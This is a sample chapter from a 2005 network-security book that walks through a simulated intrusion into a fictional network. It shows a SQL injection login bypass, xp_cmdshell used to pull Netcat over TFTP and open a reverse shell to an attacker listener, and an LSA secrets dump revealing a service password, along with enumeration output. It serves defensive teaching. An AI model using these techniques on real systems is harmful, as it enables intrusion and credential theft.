Anatomy Of A Hack—The Rise And Fall Of Your Network

Date: Jul 1, 2005

Sample Chapter is provided courtesy of Addison-Wesley Professional.

Return to the article

One of the great mysteries in security management is the modus operandi of an attacker. What is it that attackers do, and how do they do it? As with all great mysteries, this one generates a lot of interest, accounting for the phenomenal success of books and classes on how to actually attack networks. Although attacking networks can be fun and informative—not to mention illegal if you do not have all the proper permissions—the fact remains that the vast majority of us do not need to know how to do so. Frankly, becoming a good penetration tester (pen tester) takes more than a week-long class. It takes commitment, dedication, intuition, and technical savvy, not to mention a blatant disregard for the rules and the right way to do things. Those are not skills that most security administrators have, or need in many cases. In most cases, it is cheaper and more effective to hire someone to perform penetration tests. Professional penetration testers are going to be much more capable of finding problems, as well as articulating what led to those problems. Then, why is it that books and courses on attacking networks are so popular? Well, frankly, primarily because of the mystique and perceived coolness of it all. There is also some value in a system administrator being able to perform rudimentary penetration tests. The focus in this chapter is a bit different, however. While the narrative is somewhat vague on the specific details of how the attack works, we will be very clear on the operational practices that led to the problem in the first place. This is highly deliberate. The important part here is not to show how to attack something, but to show how attackers take advantage of your mistakes. This will enable you to protect your network by avoiding the pitfalls attackers use.

Before we start, however, let us make one thing absolutely clear: We neither condone nor will we ever aid or defend those who attack networks or systems they do not own or that they have not been asked to attack.

Further, this chapter demonstrates the use of a number of different tools. Although some of these tools are freely available on the Internet, most were custom written for the purposes of legitimate penetration testing. Regardless, the same principle applies.

This book is about securing networks, not distributing tools to break them. Certain information systems security professionals, namely those who are charged with pen testing, have a legitimate use for these tools. System administrators, generally, do not need the majority of these tools, because their only use is for breaking into networks. Since any competent pen tester (or system administrator) with a need for these types of tools can write them, there is no reason for us to distribute them here.

It is also important to understand that both the examples we show and the network we are using to demonstrate the attack methodology are entirely fictional. This network was built specifically for the purpose of this demonstration. Any similarity to a real production network is completely accidental and unintended.

What a Penetration Test Will Not Tell You

Many of us have been involved with pen testing either as a tester or as a client, or at least have been contacted by consultants who offer to perform a pen test for us. Pen tests are just what they sound like—a test to see whether you can penetrate the network. Done correctly, a pen test has huge value; and even done incorrectly, it can be quite exciting to take part in. However, most of us are not paid to break things, but to protect them and ensure that the services they provide indeed work. On that note, you need to know several things about penetration testing.

First, most system administrators do not usually make very good penetration testers. Part of the reason for this is that they have already closed all the holes they know about; otherwise, they would be lousy system administrators. In addition, being a good penetration tester requires the ability to think like a criminal. After all, the objective is to demonstrate what an attacker would do. Most of us have been taught from a very early age to be good law-abiding people and are simply not good at thinking up very plausible and innovative criminal schemes. There are some people who are very good at doing so, however. Some of them are criminals, and you should stay away from anyone who brags about criminal activity. However, there are a lot of people with these skills who are "white hat" (as opposed to "black hat," or criminal) hackers. The "white hat" hackers have a reputable firm behind them, and have usually been vetted, and they can be hired through a number of different consulting firms.

Second, a penetration test gone wrong can have dire consequences for the stability of your network. For example, some of the tools used by attackers (white hat and black hat) are designed to probe a network for vulnerabilities. With some vulnerabilities, particularly denial-of-service (DoS) vulnerabilities, it is very difficult to tell prior to testing whether a system is vulnerable. Consequently, some of the tools simply fire off the attack. If the system still responds afterward, it was not vulnerable! Using such a tool incorrectly against a production network could have the effect of putting the entire network out of production, very quickly. Even in the absence of such follies, using attack tools and exploits against a system could misfire, destabilize a system or the entire network, or have other unintended consequences. A professional knows where to draw the line and how far she can push the network without breaking it, whereas an amateur usually does not.

Third, pen testing requires specialized tools, tools that, in many cases, are not commonly available. Although some system administrators are perfectly capable of writing these tools, usually the time spent doing so is time better spent protecting the network.

Fourth, the most important part of penetration testing—writing up the conclusions—is actually rather tedious. In the following narrative, notice just how detailed the descriptions of the attacks are. Keep in mind too that we will deliberately simplify some things to avoid giving a complete recipe for how to attack a network. By contrast, to write a proper penetration testing report, the pen tester must keep extremely detailed notes and then spend hours putting them together into a usable document. Unless the report has enough detail to allow someone to follow the attack, it is of little value.

All this boils down to one thing: although it is very important to know how attackers operate, the types of operational practices they rely on, and the attacks they use, being able to actually perform these attacks is not required of most system and security administrators. It is one thing to appreciate art, it is an entirely different matter to be able to create it. Pen testing is an art. My advice is to leave it to people who have the skills, mindset, and time to learn to do it well. Usually, this task is best left to consultants because they have the skills, the tools, the mindset, and are not tainted by prior knowledge of your network. Talk to colleagues in other companies, on mailing lists, and in newsgroups and learn who the really good pen testing consultants are. Bear in mind also that application pen testing and network pen testing are two completely different tasks. Just because someone has been able to find vulnerabilities in some particular product does not mean they are competent to attack a network. Look for firms that specialize in network pen testing, if that is what you are interested in. Application assessment is also available, but is a different type of engagement, with different goals, and is primarily useful for organizations that develop software in-house or that use custom software.

If you are actually charged with contracting for a pen test, what are the caveats to look out for? First and foremost, and we cannot emphasize this enough: Ensure that whoever signs the contract for a penetration test has the authority to authorize someone to break into the network, to grant a "get out of jail free" card.

There are people currently serving prison time because they broke into systems they thought they were authorized to break into, only to find out later that they, in fact, did not have this authority. The same fate may await someone who contracts someone to break into a system without having the authority to do so.

Second, ensure that you have sufficient nondisclosure agreements in place, and that the consultants are not allowed to retain any company-sensitive information, except under extremely strict data-protection standards. Nothing could be worse than paying someone to break into your network, only to find out that the network where that person stored the blueprint for how to do so was subsequently compromised. Or, worse, that this person took that information and sold it to someone else.

Third, treat the report as a healthy infusion of paranoia. This is especially true with a report from a black-box test (one where the testers do not have access to inside information, such as source code and account lists), which shows what an attacker with no inside information could do One of the worst mistakes a security administrator can make is to assume everything is okay.

Finally, be aware of the mythical "your network is secure" statement. With alarming frequency, consultants present a report that claims that a network is secure, based on the fact that they were unable to get into anything. This does not mean your network is secure. If a pen tester tells you that your network is secure, all he is saying is that he is not competent enough to prove that it is not. Your network is not secure. It is simply protected against the vulnerabilities and problems the pen tester knows how to exploit. The contract should specifically spell out what constitutes a successful break-in as well as the reduction in compensation if the pen tester is not able to achieve one. Most importantly, the output from a vulnerability analysis tool does not constitute a penetration test.

Why You Need To Understand Hacking

As with every other endeavor in life, there is an easy way to run a network, and then there is the proper way to run a network. The two do not necessarily happen together. Recall the fundamental tradeoff between secure, usable, and cheap in Chapter 1, "Introduction to Network Protection." The vast majority of networks are built to be usable and cheap, where cheap means "simple to deploy." The problem is that the easy way is not always the secure way. In many cases, operational practices that are simple also simplify an attack. In other cases, those practices outright enable attacks. Most networks today are built on what we call the "eggshell principle."

This principle is critically important to understand. The fact is that if an attacker can gain a foothold onto the network, the rest of the network will usually fall like dominoes. Once inside, the most difficult part is often to figure out what to attack next and where to go for the really juicy bits of information. However, it does not have to be this way. With the proper techniques, we can achieve two crucial objectives:

• Network security objective 1— Make it much more difficult to gain a foothold in the first place
• Network security objective 2— Make it much more difficult to use that foothold to get anywhere else on the network

The principle behind the first objective is that it is preferable to keep the attacker totally out of your network. This is where patching, perimeter protection, and exposed application security come in. In this chapter, we cover only how these protection measures break down. In the rest of the book, we cover how to implement them.

The second objective states that should the first objective fail, and an attacker gains a foothold on your network, it is—generally speaking—preferable to keep the compromise to a minimum. Rebuilding an entire network is typically much less fun than rebuilding a single host. For more information on how to get the attacker out of your network, see the section "How to Get an Attacker Out of Your Network" later in this chapter. Before we get to that, however, let's see how an attacker can compromise a network.

Target Network

Before we start attacking our target network, let's take a look at what we are up against. Obviously, a real attacker going after a real network would only rarely have access to network diagrams; in our case, however, it is enlightening to look at the configuration of the target network, such as the one shown in Figure 2-1.

Our target network is a standard dual-screened subnet with a firewall at the front and a filtering router at the back. The perimeter network (also known as DMZ, demilitarized zone, or screened subnet) has a pretty common setup with a front-end Web server, a back-end database server, and a DMZ domain controller (DC). There is a corporate DC on the back end. The end goal is to take over that DC.

Perhaps the only unusual aspect to this network is the fact that the Web server and the Data Center Domain Controller (DC) are both serving as routers. This is actually an artifact of how this demonstration was constructed. The network was built as virtual machines running in Microsoft Virtual PC 2004. This is to make the network portable enough to run on a single laptop. Had we built this with separate routers, we would have needed three laptops (or two more than we want to carry). To that end, the Web server and Data Center (or DMZ) DC are both serving as routers to reduce the number of host machines needed. However, this somewhat unorthodox configuration has no bearing on what is to come.

Network Footprinting

The first step in attacking any network is to figure out what to attack—to develop a "footprint" of the target network. There are many techniques for this. For a full discussion, see one of the excellent books in the "Hacking Exposed" series. The basic goal is to learn more about the network. There is a lot to discover, including, but not limited to, the following:

• Network address ranges
• Host names
• Exposed hosts
• Applications exposed on those hosts
• OS and application version information
• Patch state of the host and the applications
• Structure of the applications and back-end severs
• Implementation details the sys admin posted to newsgroups or told a reporter about

Network Address Ranges

The first step is to find the logical locations for the networks of interest. We are performing a penetration test of victimsrus.com, so we start by looking up what networks are registered to victimsrus.com. Doing so is really simple, since address ranges are public records. You can just go to http://www.samspade.org and type in "victimsrus.com" and press Enter. Out will come all kinds of useful information about the address ranges of victimsrus.com, including contact personnel and so on.

However, perhaps even more interesting than the publicly registered address ranges for victimsrus.com is any information on networks possibly connected to the target network. For example, there may be an extranet located at extranet.victimsrus.com. This extranet is not publicized as well as the core victimsrus.com, so it is a good bet it is not secured as well as the main public network. In addition, you may know that some other company is a business partner of victimsrus.com. They may very well have direct links into victimsrus.com. If so, it may be easier to attack them and jump from there to victimsrus.com. Keep in mind the first principle of successful attacks: Sometimes the shortest path to your goal is not through the front door.

Attackers are as lazy as everyone else. Why make things more difficult and attack a well-defended network or host when you can take the simple approach and attack a poorly defended one and then take over the well-defended one from the back (see Figure 2-2)?

Far too often, we forget this concept.

Because an attacker will always endeavor to find the simple way to attack something, it is important to realize that no network can be any more secure than its weakest link—the most insecure network or computer that is connected to the target. Next time you get requests to link a partner network into your organization's network, ask what kinds of security practices and policies are in place. If they are not at least as good as yours, you probably should take steps to mitigate any spillover effects of their poor security. Be sure you know what the security policy is for any partner networks that connect to your network. Although a service level agreement (SLA) is poor consolation when you get attacked, it would be useful to look to see how they plan to keep their network (and by extension, yours) protected.

Host Names

The next thing the attacker needs is host names. In some cases, it is possible to perform Domain Name Server (DNS) lookup requests on large swaths of the network. In some cases, it is even possible to perform something called a zone transfer. A zone transfer is simply a request to a DNS server to send a copy of an entire DNS zone—a listing of all the registered names in the network. Although host names are not critically important to most attacks, they can make certain attacks much simpler. For example, if you have the host name of a Web server running IIS, you can deduce the anonymous IIS account for that host because it is usually called IUSR_<hostname>. Now let's assume that the administrator has done something really useless and configured account lockout on that system. All an attacker has to do to take down that Web server is to send a large number of requests to the server asking it to authenticate you as IUSR_<hostname>. In short order, he can send enough bad passwords to lock out the anonymous user account. After that account is locked out, he can just keep sending enough bad requests to keep it that way and this Web server will no longer serve anything to anyone. In Chapter 11, "Passwords and Other Authentication Mechanisms—The Last Line of Defense," we discuss passwords, but for now, remember not to enable account lockout on public-facing servers (or anywhere else for that matter).

Exposed Hosts

More interesting than host names are the hosts that are actually exposed. In this phase of the attack, we are trying to locate easy targets. Doing so may be absolutely trivial. You may not even need any tools, as long as 3Internet Control Message Protocol (ICMP) traffic is not blocked at the border. In that case, this command is perfectly sufficient:

c:\DiscoverHosts 192.168.2
192.168.2.30

Obviously, the IP address at the end would need to be adjusted to the appropriate target range. DiscoverHosts is just a thin wrapper around ICMP echo (ping) to check who responds on a particular network. If ICMP echo is not blocked, we just sit back while your network generates a list of valid addresses.

In the vast majority of cases, ICMP traffic should be sent to /dev/null at the border, but it is surprising how often administrators forget to ensure that it is. While this does not really stop enumeration, it makes it marginally more difficult because the attacker needs to rely on custom tools, called port scanners.

A port scanner is simply a tool that attempts to ascertain which ports a host is listening to. This can be done, for instance, by attempting to make a connection. A successful connection means the host is listening. An unsuccessful connection usually means it is not. Going into depth on port scanners is far beyond the scope of this chapter. However, a few basics are important. First, the most common type of port scan is known as a SYN scan. A SYN scan is where the attacker sends a SYNchronize packet to a target. If a host has an application listening on the port the SYN packet went to, it will respond with an ACKnowledge packet, and the port scanner will report an open port. You can port scan an entire network in short order. Doing so on a range of well-chosen ports can give you a tremendous amount of information on what is available on the network. We personally also like scanning for ports that should never be listening outside the firewall, such as the SQL Server port and Server Message Block (SMB, a.k.a, Common Internet File System or CIFS, a.k.a. Windows Networking). A host responding on these ports may be accidentally exposed to the Internet, indicating a misconfigured firewall. Be careful with that assumption, however. Some firewalls, such as Microsoft ISA Server, support server publishing, where the firewall publishes the port and inspects all traffic to it before forwarding it on to the host. In this case, although you can still get to the host, some of the possible attacks may be blocked by the firewall. Other attacks may succeed, depending on the type of service published and the types of inspection performed by the firewall.

If the host is there but has no process listening on a port, an attempt to connect results in a refused connection; most port scanners will not report those. They are important, however, because they enable us to actually determine how a firewall is configured. For example, a host may return the following results:

C:\warez\portscan
Port 192.168.2.30:443 refused
Port 192.168.2.30:80 open

This tells us that this is a Web server since it has port 80 open. We also find out that the firewall has published port 443 (HTTP/S) for this server. However, the server is not listening on that port. In other words, there is an unnecessary hole in the firewall. We will get back to that later.

Applications Exposed on Those Hosts

Port scanning is a way to determine what applications are exposed on a host. This allows us to get information on possible vectors for attack. Some of the commonly looked-for applications include the ones on the ports listed in Table 2-1.

Table 2-1. Some Commonly Scanned-For Applications

TCP Port	Application
20	FTP data channel
21	FTP control channel
23	Telnet
25	SMTP
53	Connection-oriented DNS (resolution is on UDP 53)
80	HTTP
88	Internet Key Exchange (IKE)
110	POP3 (Mail)
135	Windows RPC Endpoint Mapper
137	NetBIOS Name Service
139	NetBIOS session
389	LDAP
443	HTTP/S
445	Common Internet File System / native SMB on Windows 2000 and higher
636	LDAP over SSL
1433	SQL Server (1434 if your port scanner can do UDP)
1723	PPTP
3268	LDAP to a Windows Global Catalog Server
3389	Remote Desktop Protocol (Windows Terminal Services)

Naturally, many other ports can be open, particularly if the target system is not a Windows system. However, these are the ones we look for in this chapter.

OS and Application Version Information

If we can, it is very useful to get information on the version of the applications that we found. For example, many applications have some kind of banner that is sent as soon as someone connects. Most SMTP and POP servers as well as many Web servers are configured to do this, for instance In our case, the target network is running IIS 6.0 on Windows Server 2003, and IIS 6.0 does not send a very useful banner. (Note that IIS 6.0 may leak the IP address of the server in the banner. If this is important to you, you need the hotfix in KB 834141.)

Patch State of the Host and the Applications

It is also very interesting to an attacker to find out what patch state the exposed servers are in. This information can be had in different ways. In some cases, the banners presented by the applications will tell us all we need to know. For example, sendmail banners usually tell you the version number of the daemon. If you know which version of sendmail contains unpatched vulnerabilities, you have all the information you need to begin an attack to that system. In other cases, you can interpret from the responses the system is giving you whether it has a particular patch or not. This is essentially the technique used in good vulnerability scanners and in OS fingerprinting tools. As a last resort, an attacker may fire off an exploit against a system and see what happens. This is often the technique used by vulnerability scanners to look for denial-of-service attacks. If the system still responds after the attack, it was obviously not vulnerable!

This last point leads us to one of the important things to realize about unpatched vulnerabilities. Generally speaking, in penetration tests we prefer not to use methods that depend on unpatched vulnerabilities to break into systems. Proving that they are there is interesting, but because vulnerabilities are almost always unintended functionality, using them runs the risk of destabilizing the host and, consequently, the network. If you are doing a penetration test, bringing the network down in the process is highly unlikely to be met with a lot of cheers, and could cut the exercise a lot shorter than it should be. For a real attacker, using unpatched vulnerabilities as an entrance to the network is also a last resort. In general, it is rather noticeable when a server crashes. If the attacker can get in without using potentially destabilizing techniques, he will surely choose to do so. However, if using unpatched vulnerabilities is the only way in, the attacker will absolutely use them.

In Chapter 3, "Rule Number 1: Patch Your Systems," we look into patch management in more details and discuss what happens if you have unpatched vulnerabilities. However, for now, let's just note that the target network in our example is completely patched. All the systems have all the latest patches.

Structure of the Applications and Back-End Servers

If you can, it is usually very helpful to get information on the structure of the application and the back-end server(s), if any. In many cases, this is very difficult to do, but in some cases you get lucky. For example, assume you have a target network that uses a particular third-party Web application with very distinct filenames and page designs. In this case, it is often obvious to the attacker which application you are using. If the attacker is familiar with the application, he may know how to exploit it. For instance, the application may use a configuration file called %webroot%\system.config. If files with the .config extension are not parsed by the Web server, the attacker can simply request this file in a Web browser. In a best-case scenario, that file will only give him information such as the names of the back-end servers and databases. In the worst-case scenario, that file will contain the username and password used to actually establish the connection between the Web server and a database server.

Do not make the mistake of dismissing this as a contrived example. It is not. This exact situation was encountered a few months ago as we were evaluating a customer's network to see whether there was anything they could do to improve security. A very large number of commercial Web applications are extremely poorly written, essentially turning them into a wide-open back door into the network. To learn how to spot the obvious flaws, turn to Chapter 16, "Evaluating Application Security."

Implementation Details the Sys Admin Posted to Newsgroups or Told a Reporter About

It is amazing how much information you can glean about a company's network implementation by trolling newsgroups and magazine articles. Far too often, the system administrator posts questions that reveal sensitive details about their network, the types of systems used, firewall configuration, and other things. In a few cases, there have been magazine articles that intend to highlight how good a company was at building their network. Unfortunately, they also provide the attacker with a blueprint for what they missed. Be extremely careful what you say in newsgroup postings and to reporters. We find that not speaking to journalists at all is a preferred approach. Also be careful with the information in those "out-of-office" messages you set when you go on vacation:

At this point, we have just about all the information we need to start the attack. The first step is to establish an initial foothold into the network—pierce the eggshell if you will.

Initial Compromise

To execute the first step of the attack—initial compromise—the attacker has to evaluate what is exposed. The objective of initial compromise is to obtain a foothold on the network that can be expanded later. The only thing exposed on this network is a Web site, and an open port on which nothing is listening. That leaves us with the Web page as the only ingress. Figure 2-3 shows the Web server home page.

From this screen, you learn two things. First, we are not graphic designers, OK? If you want cool graphics, pick up another book. If you want network attacks, and more importantly, protection, keep going. Second, this is obviously an ordering site of some kind. Let's use a legitimate account to find out more.

We now get a page (Figure 2-4) that welcomes us to the Pubs bookstore and lists books for sale. We also note that the page displays our username. This could come in handy if they are not careful because we can use it to validate certain other techniques. For example, very often Web sites like this use a pretty poor algorithm for checking whether you had the right username or password. We are also curious whether they are properly validating the input from the username and password fields. To find out for sure, we are going to utilize a technique called "SQL injection." SQL injection makes use of poor coding techniques. In an SQL injection attack, an attacker passes input to the application, which it in turn passes on as unvalidated data to the database management system (DBMS). The DBMS, however, interprets this data as legitimate instructions. The net result is that the attacker can rewrite the query run by the DBMS and therefore alter the instructions the DBMS will execute. For more information on how SQL injection works, see Chapter 16.

To verify the existence of an SQL injection vulnerability, we pass "foo' OR 1=1;--" in the Username field. This gets us the result shown in Figure 2-5.

In Figure 2-5, we see that not only do we get logged on, but the application also displayed the fake username we sent it on the home page. This latter artifact is actually a separate type of vulnerability known as a cross-site scripting (XSS) vulnerability, where the user input is echoed directly to the screen without sanitizing it first. We will not use it in the following attack, but it is interesting to note that it is there.

However, more curiously, how come we were logged on? Is there a user called "foo' OR 1=1;--". No, there is no such user. The app is just very poorly written. In Chapter 16, we look at the actual code. For now, all we need to know is that it makes the assumption that if any results came back from the database when it asked for a user with a particular password, the username and password combination was obviously valid, and therefore it should log on this user. We effectively rewrote the database query, through an SQL injection attack, to include the statement OR 1=1. Because 1 is always equal to 1, this evaluates to true, which means the entire query evaluates to true, for all records in the database. This will return every user account in the database, which means the application thought we were logged on.

We can use this SQL injection vulnerability to send arbitrary commands to the back-end database server. We are going to use that in an elevation-of-privilege attack to get the database server to run commands for us.

Elevating Privileges

As we saw earlier, the database server is not directly accessible from the Internet, and our front-end Web server is fully patched and not vulnerable to anything. Our objective at this point is to elevate our privileges so that we become an internal user, preferably a highly privileged one, on one of the systems in the target network. To do that, we will use the SQL injection to send commands to the database server and ask it to do things for us.

It is important to note here that we cannot connect directly to the database server, so instead we will ask it to make a connection to us. We will start by setting up a listener on our attacker machine. Then we will make the database server connect out to us.

Before we can control the database server we need to get some tools onto it. This is important because, generally speaking, attack tools are not installed on the operating system by default. There are several techniques for getting our tools (often called "warez") onto the database server. A simple option is to use a file transfer protocol such as the Trivial File Transfer Protocol (TFTP). TFTP is a connectionless file transfer protocol used primarily for booting diskless workstations. However, the client application for TFTP is installed on all Windows systems by default. Because we have an SQL injection vulnerability, we can use it to tell the database server to use TFTP to get our tools. The first tool we will upload (download?) is Netcat. Netcat is a network tool somewhat like Telnet, except that it is much more versatile and is unauthenticated. It is freely available on the Internet and even comes standard on many UNIX and Linux distributions. It is pretty much universally used by attackers, however, and should never be left on a system where it is not absolutely needed.

At this point, we do not know what privileges we have on the database server. Our commands on the database server will execute as whatever user the Web application uses to connect to the database server. This could be anything, but far too often that connection happens with too high privileges. Many Web programmers use the sa account for this because (1) everything works that way because sa can do anything, and (2) there is less to type because sa usually has a blank password.

In this case, the connection does happen as sa, which means we have access to the xp_cmdshell extended stored procedure (xproc), which is only available to system administrators by default. Xp_cmdshell is used by SQL Server to execute operating system commands, which means that if we pass it the right parameters, SQL Server will actually execute any operating system command we want. Xp_cmdshell is installed by default on SQL Server 2000. Using the SQL injection attack, we call xp_cmdshell and ask it to call TFTP and have it, in turn, connect to our attacker machine and get Netcat from there.

Once we have uploaded Netcat we run xp_cmdshell again and execute it. We tell Netcat to create a socket, and then pass that socket as stdin (input), stdout (output), and stderr (error output) in a call to cmd.exe. This sounds complicated, but it works reliably. The net result is an outbound connection where we pipe a command shell over a socket. We now have our remote command line on the attacker host:

c:\>nc -l -p 12345
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>hostname
hostname
PYN-SQL

At this point, we have established our first foothold and are well on the way to taking over the network. We have escalated privileges from a remote anonymous user to an inside user. To find out what kind of user, we need to first get the rest of our tools onto the system. Those tools will be used to escalate local privileges if needed as well as to hack the rest of the systems on the network. We can transfer those too using tftp.exe. After we have done that, we can verify our credentials on the host:

   C:\Warez>whoami

   whoami

   NT AUTHORITY\SYSTEM

Bingo! We are already LocalSystem. That must mean the SQL Server is running in the LocalSystem context. When we told it to execute xp_cmdshell, it executed the commands we passed in as LocalSystem as well. That means we have already completely compromised the back-end database server. We can now proceed to hacking other machines on the network. At this point, our first host has been compromised, as shown in Figure 2-1a.

Before we continue, it is worthwhile at this point to stop and reflect on why we have been successful so far:

• The first entry was made using a poorly written Web application (Chapter 16, "Evaluating Application Security").
• The flawed Web application allowed us to pass commands to an unhardened database server (Chapter 14, "Protecting Services and Server Applications").
• The database server is allowed to make outbound connections through the firewall. To learn more about how to use egress filtering with firewalls, see Chapter 7, "Protecting Your Perimeter."
• If your firewall does not support egress filtering, you need to filter such traffic on the host. Chapter 10, "Preventing Rogue Access Inside the Network," shows how to set up those filters, and Chapter 9, "Network Threat Modeling," discusses a technique to analyze which ports you need to allow through.
• Finally, we used a tool installed by default to upload the necessary tools we needed to complete the attack. Without those tools, this attack would be considerably more difficult. The tool we used was tftp.exe, but there are other tools that can be used for the same purpose. Use of these tools needs to be restricted to only those users who absolutely need them. Chapter 12, "Server and Client Hardening," talks about hardening individual hosts against these types of attack.

Hacking Other Machines

We have now pierced the eggshell. At this point, the objective is to fully "own" the network and take over everything else. To start with, we need to gather some more information on our target. For that we use a utility that enumerates information from a system over a null session. A null session is an anonymous connection (i.e., one made without any authentication). By default, some Windows systems give out more information than others over such a port. Of course, in this case, we run it against localhost, meaning that anonymous restrictions do not apply to us.

C:\warez>dumpinfo 127.0.0.1

The Administrator is:   PYN-SQL\Administrator

Users on PYN-SQL:
RID 1000        PYN-SQL\TsInternetUser  a User
RID 1001        PYN-SQL\SQLDebugger     a User

Share           Type            Comment
IPC$            Unknown         Remote IPC
ADMIN$          Special         Remote Admin
C$              Special         Default share

Administrators:
PYN-SQL\Administrator
PYN-DMZ\_ids
PYN-DMZ\Domain Admins

From this, we learn that there is not much on this system. It looks rather like a default system. Before we proceed with using this information, however, let's figure out the lay of the land:

C:\warez>ipconfig /all

Windows 2000 IP Configuration

         Host Name    . . . . . . . . . . : PYN-SQL
         Primary DNS Suffix   . . . . . . : PYN-DMZ.LOCAL
         Node Type    . . . . . . . . . . : Mixed
         IP Routing Enabled   . . . . . . : No
         WINS Proxy Enabled   . . . . . . : No
         DNS Suffix Search List   . . . . : PYN-DMZ.LOCAL

Ethernet adapter Local Area Connection:

         Connection-specific DNS Suffix  .:
         Description     . . . . . . . . .: Intel 21140 Based
                                            PCI Fast Ethernet
                                            Adapter
         Physical Address    . . . . . . .: 00-03-FF-03-3E-F0
         DHCP Enabled    . . . . . . . . .: No
         IP Address      . . . . . . . . .: 172.17.0.3
         Subnet Mask     . . . . . . . . .: 255.255.255.0
         Default Gateway     . . . . . . .: 172.17.0.1
         DNS Servers     . . . . . . . . .: 172.17.0.2

This tells us our IP address as well as some other useful information about the target network. Notice that the host has a private address, so our connection must be going through a NAT router at 172.17.0.1.

The objective now is to further the compromise to other hosts. To do that, the attacker starts by looking for the easy exploits. Perhaps the simplest is to use shared service accounts, if present. Service accounts are used on Windows to start up service, typically when those services need to run as some nonsystem user, or when they need access to particular network resources. For instance, a service may be able to connect to a particular network share on a remote host, or may need to execute code under a specific user context. The easiest way to configure such a service on multiple systems is to create a single domain account and then configure all the systems to run the service with the same account. This means that if we find any services running in regular user accounts (as opposed to system accounts such as LocalSystem, NetworkService, and LocalService), it is a sucker bet that those accounts have privileges on multiple systems. Network backup solutions, for instance, are notorious for using a single domain admin account to run the backup client on every single machine in the domain.

To find out whether this is a viable vector, let's check who is running services on the database server. To do that, we use a tool designed for that purpose:

C:\warez>serviceuser \\PYN-SQL
IDS                             PYN-DMZ\_ids

There is a domain account used for the IDS service; presumably the intrusion detection service.

dumpinfo also told us earlier that it was an administrator. If the attacker is really lucky, the account is also a domain admin and the game would be over here. However, in this case, it appears unlikely that it is a domain admin since the account was explicitly listed in the Administrators group. To understand how to exploit this, we must understand how Windows operates. Services are applications that run when the system boots. Just like any other process on the system, they must run under some user identity. When the service starts, the operating system (OS) authenticates the account used for the service and for that it needs a username and password. The username and password are stored by the service control manager in a location called the Local Security Authority (LSA) Secrets. The LSA Secrets are maintained by the LSA to hold certain sensitive information required for the operation of the system. This information includes items such as the computer account credentials, encryption keys, and service account credentials.

The LSA Secrets are encrypted on disk and decrypted by the OS when the machine boots. They are then held in clear text in the LSA process memory space while the system is running. If you can debug the LSA process, you can read that memory space. That may sound daunting, but there are attacker utilities designed specifically for that purpose. To debug the LSA process, a user must have the SeDebugPrivilege, which is granted by default only to Administrators.

Since Administrators can do whatever they want anyway, the ability to debug the LSA process is not a vulnerability in and of itself. They own the system without that privilege, and could grant any user that privilege. The vulnerability is operational and happens when untrusted users have that privilege.

In our case, we actually do not need to use the SeDebugPrivilege. Recall that our remote shell is running as LocalSystem. In other words, we are running as the same identity as the LSA process, and therefore have an intrinsic right to attach a debugger to it, privilege or not. Running the tool to extract the secrets, we find the following:

C:\warez>lsadump2
$MACHINE.ACC
 13 FE 4C 3A 04 F8 1F 94 75 C8 9B 0B 1C 35 45 7A  ..L:....u....5Ez
 52 7E 25 DF F8 17 F2 96 3A 35 81 C7              R~%.....:5..
DefaultPassword
DPAPI_SYSTEM
 01 00 00 00 C8 AA F8 8C 36 C7 69 CC DD 42 CB 15  ........6.i..B..
 3F 4E 07 6D 48 05 0A 4C FE 31 87 C9 F2 58 A3 AD  ?N.mH..L.1...X..
 B7 AD 13 20 26 11 24 24 FF 79 AE D3              ... &.$$.y..
...
_SC_IDS
 69 00 64 00 73 00 50 00 61 00 73 00 73 00 77 00  i.d.s.P.a.s.s.w.
 64 00 21 00                                      d.!.

The output has been truncated to make it easier to read, but the really interesting piece is right at the end, where the service account credentials are listed. The column on the right holds the service account password. We now know that the password for the PYN\_ids account is idsPasswd! (The output is in Unicode, hence the dots in between characters, signifying nulls.) The only thing left now is to find out where to use it. Running DiscoverHosts we find that there are only two other machines on this subnet, 172.17.0.1 (the gateway) and 172.17.0.2 (the DNS server). We need to learn more about them:

C:\warez>dumpinfo 172.17.0.1

Unable to look up the local administrator
Unable to enumerate users because I could not get the Admin Sid

Share            Type             Comment
IPC$             Unknown          Remote IPC
ADMIN$           Special          Remote Admin
wwwroot$         Disk
C$               Special          Default share

Administrators:
Unable to enumerate administrators
ERROR: Access Denied

We are not getting much information on this system. That is because it is a Windows Server 2003 member server. On Windows Server 2003 standalone and member servers, null session users will only be able to list the shares on the system, but not the user accounts by default. It is possible to restrict it even further so that no information is available at all. To learn how, turn to Chapter 12.

What we can tell from dumpinfo is that the default gateway is running a Web server, based on the fact that it exposes a wwwroot$ share. Notice also that we get a list of all the so-called hidden shares (shares postfixed with a $). The $ sign is actually just a notification to the client side of the application programming interface (API) not to display this item. The dumpinfo tool is written specifically to ignore that convention and displays the item anyway.

It would also be helpful to find out what endpoints are exposed on this system. To do that, we turn once again to our port scanner:

C:\warez>portscan 172.17.0.1
Port 172.17.0.1:80 open
Port 172.17.0.1:135 open
Port 172.17.0.1:139 open
Port 172.17.0.1:445 open
Port 172.17.0.1:3389 open

This really does not tell us much that we did not know. If SMB had been blocked, dumpinfo would have failed. We also discover that the host is running Terminal Services, but that is quite common. Turning our attention to the other system on the network, we get the following:

C:\warez>dumpinfo 172.17.0.2

The Administrator is:   PYN-DMZ\Administrator

Users on PYN-DMZ-DC:
RID 1000        PYN-DMZ\HelpServicesGroup       an Alias
RID 1001        PYN-DMZ\SUPPORT_388945a0        a User
RID 1002        PYN-DMZ\TelnetClients   an Alias
RID 1003        PYN-DMZ\PYN-DMZ-DC$     a User
RID 1104        PYN-DMZ\DnsAdmins       an Alias
RID 1105        PYN-DMZ\DnsUpdateProxy  a Group
RID 1106        PYN-DMZ\Alex a User
RID 1107        PYN-DMZ\Bob a User
RID 1108        PYN-DMZ\Cecil        a User
RID 1109        PYN-DMZ\Denise  a User
RID 1110        PYN-DMZ\Eric a User
RID 1111        PYN-DMZ\Fred  a User
RID 1112        PYN-DMZ\George a User
RID 1113        PYN-DMZ\Henry   a User
RID 1114        PYN-DMZ\Irene   a User
RID 1115        PYN-DMZ\Julie       a User
RID 1116        PYN-DMZ\Kurt        a User
RID 1117        PYN-DMZ\Laura       a User
RID 1118        PYN-DMZ\Maggie       a User
RID 1119        PYN-DMZ\Teddy       a User
RID 1120        PYN-DMZ\Mike       a User
RID 1121        PYN-DMZ\PYN-SQL$        a User
RID 1122        PYN-DMZ\PYN-WEB$        a User
RID 1123        PYN-DMZ\_IDS         a User

Share           Type             Comment
IPC$            Unknown          Remote IPC
NETLOGON        Disk             Logon server share
